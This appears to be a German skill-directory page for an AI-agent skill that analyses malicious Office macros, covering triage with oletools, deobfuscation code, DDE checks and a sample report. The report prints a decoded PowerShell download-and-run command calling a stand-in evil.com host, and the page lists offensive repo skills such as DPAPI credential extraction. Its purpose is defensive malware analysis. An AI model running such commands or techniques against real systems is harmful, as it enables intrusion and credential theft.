Communitygithub.com

Analyse von Makro-Schadsoftware in Office-Dokumenten

Analysiert bösartige VBA-Makros, die in Microsoft Office-Dokumenten eingebettet sind.

Was ist Analyse von Makro-Schadsoftware in Office-Dokumenten?

Dieser Skill befähigt KI-Agenten (z. B. Claude Code, Cursor, Codex) zur automatisierten Analyse von schadhaften Office-Dokumenten, die Makros, DDE, ActiveX oder Remote-Template-Injection enthalten. Er deckt den gesamten Analyse-Workflow ab: von der ersten Triage mit `olevba` und `oledump` über die Extraktion und Deobfuskation von VBA- und XLM-Makrocode bis hin zur Prüfung auf nicht-makrobasierte Angriffsvektoren. Der Skill nutzt bewährte Open-Source-Tools wie die `oletools`-Suite, `oledump.py` und `XLMDeobfuscator` und gibt detaillierte Anleitungen für die Deobfuskation (z. B. Auflösung von Chr()-Aufrufen, String-Verkettungen, StrReverse und Replace). Er ist für Sicherheitsanalysten und Incident-Response-Teams konzipiert, die Phishing-Kampagnen mit Office-Dokumenten untersuchen, und liefert am Ende eine strukturierte Ausgabe mit extrahierten IOCs (Download-URLs, Domains, IPs) sowie MITRE ATT&CK-Referenzen. Der Skill warnt ausdrücklich davor, Office-Dokumente auf dem Analyse-Rechner zu öffnen, und empfiehlt eine isolierte VM ohne Microsoft Office.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-macro-malware-in-office-documents
Original anzeigen→Alle Skills durchsuchen

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

OpenAIChatGPTClaudeClaudeGeminiGeminiGrokGrokPerplexityPerplexityDeepSeekDeepSeek

Dokumentation

Was macht Analyse von Makro-Schadsoftware in Office-Dokumenten?

Verwendung

  • Ein verdächtiges Office-Dokument (.doc, .docm, .xls, .xlsm, .ppt) wurde von der E-Mail-Sicherheit markiert
  • Untersuchung von Phishing-Kampagnen, die bewaffnete Office-Dokumente ausliefern
  • Extraktion von VBA-Makrocode, um die Payload-Download-URL und die Ausführungsmethode zu identifizieren
  • Analyse von obfuskiertem VBA-Code, um die gesamte Angriffskette zu verstehen
  • Feststellung, ob ein Dokument DDE, ActiveX oder Remote-Template-Injection anstelle von Makros verwendet

Nicht verwenden für die Analyse von nicht-makrobasierten Office-Bedrohungen (DDE, Remote-Template-Injection); obwohl dieser Skill die Erkennung dieser abdeckt, kann eine spezialisierte Analyse erforderlich sein.

Voraussetzungen

  • Python 3.8+ mit installierten oletools (pip install oletools)
  • oledump.py von Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
  • Isolierte Analyse-VM ohne installiertes Microsoft Office (verhindert versehentliche Ausführung)
  • XLMDeobfuscator für Excel 4.0-Makroanalyse (pip install xlmdeobfuscator)
  • LibreOffice für sicheres Rendern von Dokumenten (führt VBA-Makros standardmäßig nicht aus)

Arbeitsablauf

Schritt 1: Erste Dokumenten-Triage

Feststellen, ob das Dokument Makros oder andere aktive Inhalte enthält:

# Schnelle Triage mit olevba
olevba suspect.docm

# Prüfung auf OLE-Streams und Makros
oleid suspect.docm

# Ausgabe-Indikatoren:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (Remote-Template)
# ObjectPool:        True/False (eingebettete Objekte)
# Flash:             True/False (SWF-Objekte)

# Umfassende OLE-Analyse
oledump.py suspect.docm

# Auflistung aller OLE-Streams mit Makro-Indikatoren
# Streams mit 'M' enthalten VBA-Makros
# Streams mit 'm' enthalten Makro-Attribute

Schritt 2: VBA-Code extrahieren und analysieren

Den vollständigen VBA-Makro-Quellcode extrahieren:

# VBA mit vollständiger Deobfuskation extrahieren
olevba --decode --deobf suspect.docm

# Nur den VBA-Quellcode extrahieren
olevba --code suspect.docm > extracted_vba.txt

# Detaillierte Extraktion mit oledump
oledump.py -s 8 -v suspect.docm  # Stream 8 (an die Stream-Liste anpassen)

# Alle Makro-Streams extrahieren
oledump.py -p plugin_vba_dco suspect.docm

Wichtige VBA-Elemente zur Identifizierung:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Ausführungs-Trigger:
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Verdächtige Funktionen:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - PowerShell-Ausführung
  - URLDownloadToFile
  - MSXML2.XMLHTTP (HTTP-Anfragen)
  - ADODB.Stream (Dateischreiben)
  - Environ() (Umgebungsvariablen)
  - CallByName (indirekte Methodenaufrufe)

Schritt 3: VBA-Code deobfuskieren

Obfuskierungsebenen entfernen, um die Payload freizulegen:

# VBA-Deobfuskationstechniken
import re

def deobfuscate_vba(code):
    # 1. Chr()-Aufrufe auflösen: Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. String-Verkettung entfernen: "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. ChrW-Aufrufe auflösen: ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. StrReverse auflösen: StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. Mid$/Left$/Right$-Obfuskation entfernen (komplex, zur manuellen Überprüfung markieren)

    # 6. Replace() auflösen: Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Schritt 4: Excel 4.0 (XLM)-Makros analysieren

Legacy-Excel-Makros behandeln, die die VBA-Erkennung umgehen:

# XLM-Makros erkennen
olevba --xlm suspect.xlsm

# XLM-Makros deobfuskieren
xlmdeobfuscator -f suspect.xlsm

# Manuelle XLM-Analyse mit oledump
oledump.py suspect.xlsm -p plugin_biff.py

# XLM (Excel 4.0)-Makrofunktionen, auf die geachtet werden sollte:
# EXEC()       - Shell-Befehl ausführen
# CALL()       - DLL-Funktion aufrufen
# REGISTER()   - DLL-Funktion registrieren
# URLDownloadToFileA - Datei herunterladen
# ALERT()      - Nachricht anzeigen (Social Engineering)
# HALT()       - Ausführung stoppen
# GOTO()       - Kontrollfluss
# IF()         - Bedingte Ausführung

Schritt 5: Auf Nicht-Makro-Angriffsvektoren prüfen

Das Dokument auf DDE, Remote-Templates und eingebettete Objekte untersuchen:

# Auf DDE (Dynamic Data Exchange) prüfen
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # DDE-Feldcodes
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE gefunden in {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Befehl: {m}')
        # Remote-Template
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] Remote-Template-URL: {url}')
"

# Auf eingebettete OLE-Objekte prüfen
oledump.py -p plugin_msg.py suspect.docm

# Beziehungen auf externe Verweise prüfen
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'Externer Verweis in {name}:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Schritt 6: Analysebericht erstellen

Die vollständige Makro-Schadsoftware-Analyse dokumentieren:

Der Bericht sollte Folgendes enthalten:
- Dokument-Metadaten (Autor, Erstellungsdatum, Änderungsdatum)
- Makro-Vorhandensein und -Typ (VBA, XLM, DDE, Remote-Template)
- Identifizierter Auto-Ausführungs-Trigger
- Deobfuskierten VBA-Quellcode (Schlüsselfunktionen)
- Download-URL(s) für Payloads der zweiten Stufe
- Ausführungsmethode (Shell, WScript, PowerShell, COM-Objekt)
- Beschreibung des Social-Engineering-Köders
- Extrahierte IOCs (URLs, Domains, IPs, Datei-Hashes)
- YARA-Regel für das spezifische Dokumentenmuster

Schlüsselkonzepte

BegriffDefinition
VBA-MakroIn Office-Dokumente eingebetteter Visual Basic for Applications-Code, der mit dem Betriebssystem interagieren, Dateien herunterladen und Befehle ausführen kann
Auto_OpenVBA-Ereignisprozedur, die automatisch ausgeführt wird, wenn ein Word-Dokument geöffnet wird – der primäre Auslöser für Makro-Schadsoftware
OLE (Object Linking and Embedding)Microsoft Compound Document Format; Office-Dokumente sind OLE-Container mit Streams, die Makros und Objekte enthalten können
DDE (Dynamic Data Exchange)Legacy-Windows-IPC-Mechanismus, der in Dokumenten missbraucht wird, um Befehle ohne Makros auszuführen; ausgelöst durch Feldcode-Updates
Remote-Template-InjectionAngriff, der beim Öffnen des Dokuments eine makroaktivierte Vorlage von einer Remote-URL lädt und so die anfängliche Makro-Erkennung umgeht
XLM-Makros (Excel 4.0)Legacy-Excel-Makrosprache, die älter als VBA ist; in versteckten Blättern gespeichert und oft von traditionellen VBA-Analysetools übersehen
Geschützte AnsichtOffice-Sandbox, die die Makroausführung verhindert, bis der Benutzer auf "Inhalt aktivieren" klickt; Social Engineering zielt auf diese Barriere ab

Werkzeuge und Systeme

  • oletools (olevba): Python-Toolkit zur Analyse von OLE-Dateien, Extraktion von VBA-Makros und Erkennung verdächtiger Schlüsselwörter und IOCs
  • oledump.py: Didier Stevens' Tool zur Analyse von OLE-Streams mit Plugin-Unterstützung für VBA-Dekomprimierung und -Extraktion
  • XLMDeobfuscator: Speziell für die Deobfuskation von Excel 4.0 (XLM)-Makroformeln entwickeltes Tool
  • ViperMonkey: VBA-Emulations-Engine, die VBA-Makros in einer Sandbox-Umgebung ausführt, um das Verhalten zu beobachten
  • YARA: Mustererkennung für dokumentenbasierte Malware-Erkennung unter Verwendung von VBA-String-Mustern und OLE-Struktur-Indikatoren

Häufige Szenarien

Szenario: Analyse eines Phishing-Dokuments mit obfuskierten VBA-Makros

Kontext: Mehrere Mitarbeiter erhielten eine E-Mail mit einem angehängten .docm-Dokument, das angeblich eine Rechnung sei. Das Dokument fordert die Benutzer auf, "Inhalt aktivieren" zu klicken, um das vollständige Dokument anzuzeigen.

Vorgehen:

  1. oleid ausführen, um das Vorhandensein von VBA-Makros zu bestätigen und Auto-Ausführungs-Trigger zu identifizieren
  2. VBA-Code mit olevba --decode --deobf extrahieren für die erste Deobfuskation
  3. Den Einstiegspunkt für die Auto-Ausführung (Auto_Open oder Document_Open) identifizieren
  4. Den Ausführungsfluss vom Einstiegspunkt durch Hilfsfunktionen verfolgen
  5. String-Verkettung und Chr()-Kodierung deobfuskieren, um die Download-URL zu enthüllen
  6. Die Download-Methode (WScript.Shell, MSXML2.XMLHTTP, PowerShell) identifizieren
  7. Alle IOCs extrahieren und YARA-Regeln für das spezifische Obfuskationsmuster erstellen

Fallstricke:

  • Das Dokument in Microsoft Office zur „Schnellanalyse“ öffnen, anstatt Befehlszeilentools zu verwenden
  • Übersehen von VBA-Code, der in UserForms gespeichert ist (GUI-Elemente können Code in ihren Ereignisbehandlern enthalten)
  • Ignorieren von Dokument-Metadaten, die Angreifer-Fingerabdrücke enthalten können (Autorname, Vorlagenname)
  • Nicht sowohl auf VBA- als auch auf XLM-Makros im selben Dokument prüfen (manche Malware verwendet beide)

Ausgabeformat

OFFICE MAKRO-SCHADSOFTWARE ANALYSE
====================================
Dokument:         invoice_q3_2025.docm
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
Dateityp:         Microsoft Word-Dokument (OOXML mit Makros)
Autor:            Administrator
Erstellungsdatum: 2025-09-10 14:23:00

MAKRO-ANALYSE
Typ:              VBA-Makro
Auslöser:         AutoOpen()
Streams:          3 VBA-Streams (ThisDocument, Module1, Module2)

DEOBFUSKIERTE AUSFÜHRUNGSKETTE
1. AutoOpen() -> Ruft Module1.RunPayload() auf
2. RunPayload() erstellt Befehlszeichenfolge mittels Chr()-Verkettung
3. Befehl: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Dekodiert: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

SOCIAL-ENGINEERING-KÖDER
- Dokument zeigt gefälschtes Bild „Geschütztes Dokument“ an
- Weist Benutzer an, „Inhalt aktivieren“ zu klicken, um das Dokument anzuzeigen
- Inhalt ist unscharf/verborgen, bis Makros ausgeführt werden

EXTRAHIERTE IOCs
Download-URL:     hxxp://evil[.]com/payload.ps1
C2-Domain:        evil[.]com
IP-Adresse:       185.220.101[.]42
User-Agent:       PowerShell (Standard-WebClient)

MITRE ATT&CK
T1566.001  Phishing: Spearphishing Attachment
T1204.002  User Execution: Malicious File
T1059.001  Command and Scripting Interpreter: PowerShell
T1059.005  Command and Scripting Interpreter: Visual Basic

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Verwandte Skills

steipete/video-frames

Extract frames or short clips from videos using ffmpeg.

community

steipete/summarize

Summarize or transcribe URLs, YouTube/videos, podcasts, articles, transcripts, PDFs, and local files.

community

openclaw/openclaw

Use when testing, fixing, or extending the OpenClaw Control UI GUI with Vitest + Playwright end-to-end checks, mocked Gateway WebSocket flows, mocked dashboard runs, screenshots/videos, or agent-verifiable browser proof.

community

obra/superpowers

Obra superpowers agent skills.

community

affaan-m/ECC

See, Understand, Act on video and audio. See- ingest from local files, URLs, RTSP/live feeds, or live record desktop; return realtime context and playable stream links. Understand- extract frames, build visual/semantic/temporal indexes, and search moments with timestamps and auto-clips. Act- transcode and normalize (codec, fps, resolution, aspect ratio), perform timeline edits (subtitles, text/image overlays, branding, audio overlays, dubbing, translation), generate media assets (image, audio...

community

affaan-m/everything-claude-code

End-to-end marketing campaign planning and execution. Covers audience research, positioning, campaign angle definition, landing page copy, email sequences, social posts, ad copy, short-form video scripts, and content calendars. Use as the orchestration layer for multi-channel product launches. Use when planning or executing a multi-channel product launch, or producing landing page, email, social, or ad copy.

community